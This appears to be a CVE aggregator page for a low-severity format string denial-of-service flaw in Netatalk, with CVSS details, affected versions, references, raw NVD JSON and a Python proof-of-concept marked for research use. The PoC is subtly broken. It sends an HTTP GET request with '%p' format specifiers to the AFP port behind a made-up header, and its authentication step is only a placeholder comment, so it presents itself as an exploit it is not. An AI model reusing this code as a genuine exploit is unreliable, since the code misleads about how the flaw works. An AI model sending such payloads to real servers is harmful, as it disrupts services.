CVE-2026-7835

Description

A format string argument mismatch in Netatalk 3.0.3 through 4.4.2 allows a remote authenticated attacker to cause a minor denial of service via crafted input that triggers incorrect format string processing.

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Netatalk 3.0.3

Netatalk 3.0.4

Netatalk 3.1.x

Netatalk 4.x

Netatalk 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

# PoC for CVE-2026-7835
# Description: Format string vulnerability in Netatalk leading to DoS
# Note: Authentication is required

def send_exploit(target_ip, target_port, username, password):
    try:
        # Establish TCP connection to AFP port
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        
        # 1. Perform AFP Authentication (simplified)
        # ... Auth handshake logic ...
        
        # 2. Craft payload with format specifiers
        # Sending a string with format specifiers to trigger the mismatch
        payload = b"\x00\x00\x00\x50" # Example AFP header length
        payload += b"GET / HTTP/1.1\r\nHost: %p%p%p%p\r\n\r\n" # Example payload
        
        s.send(payload)
        print("[+] Payload sent successfully.")
        print("[+] Check if the Netatalk service has crashed.")
        
        s.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target_ip = "192.168.1.10"
    send_exploit(target_ip, 548, "user", "pass")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7835
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7835
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7835/
[4] VulDB https://vuldb.com/cve/CVE-2026-7835
[5] https://netatalk.io/security/CVE-2026-7835

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7835", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:23.277", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A format string argument mismatch in Netatalk 3.0.3 through 4.4.2 allows a remote authenticated attacker to cause a minor denial of service via crafted input that triggers incorrect format string processing."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-134"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-7835", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}